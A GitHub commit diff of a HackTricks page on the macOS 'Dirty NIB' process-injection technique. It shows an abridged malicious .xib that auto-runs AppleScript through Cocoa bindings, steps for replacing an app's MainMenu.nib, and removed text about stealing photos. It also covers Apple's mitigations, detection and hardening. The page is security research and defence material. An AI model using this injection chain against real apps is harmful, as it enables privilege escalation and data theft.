Skip to content

Commit c49d9a5

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/macos-hardening/macos-security...
1 parent 6937d30 commit c49d9a5

1 file changed

Lines changed: 126 additions & 50 deletions

File tree

  • src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse

‎src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md‎

Lines changed: 126 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -2,75 +2,151 @@
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

5-
**For further detail about the technique check the original post from:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) and the following post by [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Here is a summary:
5+
Dirty NIB refers to abusing Interface Builder files (.xib/.nib) inside a signed macOS app bundle to execute attacker-controlled logic inside the target process, thereby inheriting its entitlements and TCC permissions. This technique was originally documented by xpn (MDSec) and later generalized and significantly expanded by Sector7, who also covered Apple’s mitigations in macOS 13 Ventura and macOS 14 Sonoma. For background and deep dives, see the references at the end.
6+
7+
> TL;DR
8+
> • Before macOS 13 Ventura: replacing a bundle’s MainMenu.nib (or another nib loaded at startup) could reliably achieve process injection and often privilege escalation.
9+
> • Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): first‑launch deep verification, bundle protection, Launch Constraints, and the new TCC “App Management” permission largely prevent post‑launch nib tampering by unrelated apps. Attacks may still be feasible in niche cases (e.g., same‑developer tooling modifying own apps, or terminals granted App Management/Full Disk Access by the user).
10+
11+
12+
## What are NIB/XIB files
13+
14+
Nib (short for NeXT Interface Builder) files are serialized UI object graphs used by AppKit apps. Modern Xcode stores editable XML .xib files which are compiled into .nib at build time. A typical app loads its main UI via `NSApplicationMain()` which reads the `NSMainNibFile` key from the app’s Info.plist and instantiates the object graph at runtime.
15+
16+
Key points that enable the attack:
17+
- NIB loading instantiates arbitrary Objective‑C classes without requiring them to conform to NSSecureCoding (Apple’s nib loader falls back to `init`/`initWithFrame:` when `initWithCoder:` is not available).
18+
- Cocoa Bindings can be abused to call methods as nibs are instantiated, including chained calls that require no user interaction.
19+
20+
21+
## Dirty NIB injection process (attacker view)
22+
23+
The classic pre‑Ventura flow:
24+
1) Create a malicious .xib
25+
- Add an `NSAppleScript` object (or other “gadget” classes such as `NSTask`).
26+
- Add an `NSTextField` whose title contains the payload (e.g., AppleScript or command arguments).
27+
- Add one or more `NSMenuItem` objects wired via bindings to call methods on the target object.
28+
29+
2) Auto‑trigger without user clicks
30+
- Use bindings to set a menu item’s target/selector and then invoke the private `_corePerformAction` method so the action fires automatically when the nib loads. This removes the need for a user to click a button.
31+
32+
Minimal example of an auto‑trigger chain inside a .xib (abridged for clarity):
33+
```xml
34+
<objects>
35+
<customObject id="A1" customClass="NSAppleScript"/>
36+
<textField id="A2" title="display dialog \"PWND\""/>
37+
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
38+
<menuItem id="C1">
39+
<connections>
40+
<binding name="target" destination="A1"/>
41+
<binding name="selector" keyPath="initWithSource:"/>
42+
<binding name="Argument" destination="A2" keyPath="title"/>
43+
</connections>
44+
</menuItem>
45+
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
46+
<menuItem id="C2">
47+
<connections>
48+
<binding name="target" destination="A1"/>
49+
<binding name="selector" keyPath="executeAndReturnError:"/>
50+
</connections>
51+
</menuItem>
52+
<!-- Triggers that auto‑press the above menu items at load time -->
53+
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
54+
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
55+
</objects>
56+
```
57+
This achieves arbitrary AppleScript execution in the target process upon nib load. Advanced chains can:
58+
- Instantiate arbitrary AppKit classes (e.g., `NSTask`) and call zero‑argument methods like `-launch`.
59+
- Call arbitrary selectors with object arguments via the binding trick above.
60+
- Load AppleScriptObjC.framework to bridge into Objective‑C and even call selected C APIs.
61+
- On older systems that still include Python.framework, bridge into Python and then use `ctypes` to call arbitrary C functions (Sector7’s research).
62+
63+
3) Replace the app’s nib
64+
- Copy target.app to a writable location, replace e.g., `Contents/Resources/MainMenu.nib` with the malicious nib, and run target.app. Pre‑Ventura, after a one‑time Gatekeeper assessment, subsequent launches only performed shallow signature checks, so non‑executable resources (like .nib) weren’t re‑validated.
65+
66+
Example AppleScript payload for a visible test:
67+
```applescript
68+
set theDialogText to "PWND"
69+
display dialog theDialogText
70+
```
71+
72+
73+
## Modern macOS protections (Ventura/Monterey/Sonoma/Sequoia)
74+
75+
Apple introduced several systemic mitigations that dramatically reduce the viability of Dirty NIB in modern macOS:
76+
- First‑launch deep verification and bundle protection (macOS 13 Ventura)
77+
- On first run of any app (quarantined or not), a deep signature check covers all bundle resources. Afterwards, the bundle becomes protected: only apps from the same developer (or explicitly allowed by the app) may modify its contents. Other apps require the new TCC “App Management” permission to write into another app’s bundle.
78+
- Launch Constraints (macOS 13 Ventura)
79+
- System/Apple‑bundled apps can’t be copied elsewhere and launched; this kills the “copy to /tmp, patch, run” approach for OS apps.
80+
- Improvements in macOS 14 Sonoma
81+
- Apple hardened App Management and fixed known bypasses (e.g., CVE‑2023‑40450) noted by Sector7. Python.framework was removed earlier (macOS 12.3), breaking some privilege‑escalation chains.
82+
- Gatekeeper/Quarantine changes
83+
- For a broader discussion of Gatekeeper, provenance, and assessment changes that impacted this technique, see the page referenced below.
84+
85+
> Practical implication
86+
> • On Ventura+ you generally cannot modify a third‑party app’s .nib unless your process has App Management or is signed by the same Team ID as the target (e.g., developer tooling).
87+
> • Granting App Management or Full Disk Access to shells/terminals effectively re‑opens this attack surface for anything that can execute code inside that terminal’s context.
688
7-
### What are Nib files
889

9-
Nib (short for NeXT Interface Builder) files, part of Apple's development ecosystem, are intended for defining **UI elements** and their interactions in applications. They encompass serialized objects such as windows and buttons, and are loaded at runtime. Despite their ongoing usage, Apple now advocates for Storyboards for more comprehensive UI flow visualization.
10-
11-
The main Nib file is referenced in the value **`NSMainNibFile`** inside the `Info.plist` file of the application and is loaded by the function **`NSApplicationMain`** executed in the `main` function of the application.
12-
13-
### Dirty Nib Injection Process
14-
15-
#### Creating and Setting Up a NIB File
90+
### Addressing Launch Constraints
1691

17-
1. **Initial Setup**:
18-
- Create a new NIB file using XCode.
19-
- Add an Object to the interface, setting its class to `NSAppleScript`.
20-
- Configure the initial `source` property via User Defined Runtime Attributes.
21-
2. **Code Execution Gadget**:
22-
- The setup facilitates running AppleScript on demand.
23-
- Integrate a button to activate the `Apple Script` object, specifically triggering the `executeAndReturnError:` selector.
24-
3. **Testing**:
92+
Launch Constraints block running many Apple apps from non‑default locations beginning with Ventura. If you were relying on pre‑Ventura workflows like copying an Apple app to a temp directory, modifying `MainMenu.nib`, and launching it, expect that to fail on >= 13.0.
2593

26-
- A simple Apple Script for testing purposes:
2794

28-
```bash
29-
set theDialogText to "PWND"
30-
display dialog theDialogText
31-
```
95+
## Enumerating targets and nibs (useful for research / legacy systems)
3296

33-
- Test by running in the XCode debugger and clicking the button.
97+
- Locate apps whose UI is nib‑driven:
98+
```bash
99+
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
100+
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
101+
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
102+
```
103+
- Find candidate nib resources inside a bundle:
104+
```bash
105+
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
106+
```
107+
- Validate code signatures deeply (will fail if you tampered with resources and didn’t re‑sign):
108+
```bash
109+
codesign --verify --deep --strict --verbose=4 target.app
110+
```
34111

35-
#### Targeting an Application (Example: Pages)
112+
> Note: On modern macOS you will also be blocked by bundle protection/TCC when trying to write into another app’s bundle without proper authorization.
36113
37-
1. **Preparation**:
38-
- Copy the target app (e.g., Pages) into a separate directory (e.g., `/tmp/`).
39-
- Initiate the app to sidestep Gatekeeper issues and cache it.
40-
2. **Overwriting NIB File**:
41-
- Replace an existing NIB file (e.g., About Panel NIB) with the crafted DirtyNIB file.
42-
3. **Execution**:
43-
- Trigger the execution by interacting with the app (e.g., selecting the `About` menu item).
44114

45-
#### Proof of Concept: Accessing User Data
115+
## Detection and DFIR tips
46116

47-
- Modify the AppleScript to access and extract user data, such as photos, without user consent.
117+
- File integrity monitoring on bundle resources
118+
- Watch for mtime/ctime changes to `Contents/Resources/*.nib` and other non‑executable resources in installed apps.
119+
- Unified logs and process behavior
120+
- Monitor for unexpected AppleScript execution inside GUI apps and for processes loading AppleScriptObjC or Python.framework. Example:
121+
```bash
122+
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
123+
```
124+
- Proactive assessments
125+
- Periodically run `codesign --verify --deep` across critical apps to ensure resources remain intact.
126+
- Privilege context
127+
- Audit who/what has TCC “App Management” or Full Disk Access (especially terminals and management agents). Removing these from general‑purpose shells prevents trivially re‑enabling Dirty NIB‑style tampering.
48128

49-
### Code Sample: Malicious .xib File
50129

51-
- Access and review a [**sample of a malicious .xib file**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) that demonstrates executing arbitrary code.
130+
## Defensive hardening (developers and defenders)
52131

53-
### Other Example
132+
- Prefer programmatic UI or limit what’s instantiated from nibs. Avoid including powerful classes (e.g., `NSTask`) in nib graphs and avoid bindings that indirectly invoke selectors on arbitrary objects.
133+
- Adopt the hardened runtime with Library Validation (already standard for modern apps). While this doesn’t stop nib injection by itself, it blocks easy native code loading and forces attackers into scripting‑only payloads.
134+
- Do not request or depend on broad App Management permissions in general‑purpose tools. If MDM requires App Management, segregate that context from user‑driven shells.
135+
- Regularly verify your app bundle’s integrity and make your update mechanisms self‑heal bundle resources.
54136

55-
In the post [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) you can find tutorial on how to create a dirty nib.
56137

57-
### Addressing Launch Constraints
138+
## Related reading in HackTricks
58139

59-
- Launch Constraints hinder app execution from unexpected locations (e.g., `/tmp`).
60-
- It's possible to identify apps not protected by Launch Constraints and target them for NIB file injection.
140+
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
61141

62-
### Additional macOS Protections
142+
{{#ref}}
143+
../macos-security-protections/macos-gatekeeper.md
144+
{{#endref}}
63145

64-
From macOS Sonoma onwards, modifications inside App bundles are restricted. However, earlier methods involved:
65146

66-
1. Copying the app to a different location (e.g., `/tmp/`).
67-
2. Renaming directories within the app bundle to bypass initial protections.
68-
3. After running the app to register with Gatekeeper, modifying the app bundle (e.g., replacing MainMenu.nib with Dirty.nib).
69-
4. Renaming directories back and rerunning the app to execute the injected NIB file.
147+
## References
70148

71-
**Note**: Recent macOS updates have mitigated this exploit by preventing file modifications within app bundles post Gatekeeper caching, rendering the exploit ineffective.
149+
- xpn – DirtyNIB (original write‑up with Pages example): https://blog.xpnsec.com/dirtynib/
150+
- Sector7 – Bringing process injection into view(s): exploiting all macOS apps using nib files (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
72151

73152
{{#include ../../../banners/hacktricks-training.md}}
74-
75-
76-

0 commit comments

Comments
 (0)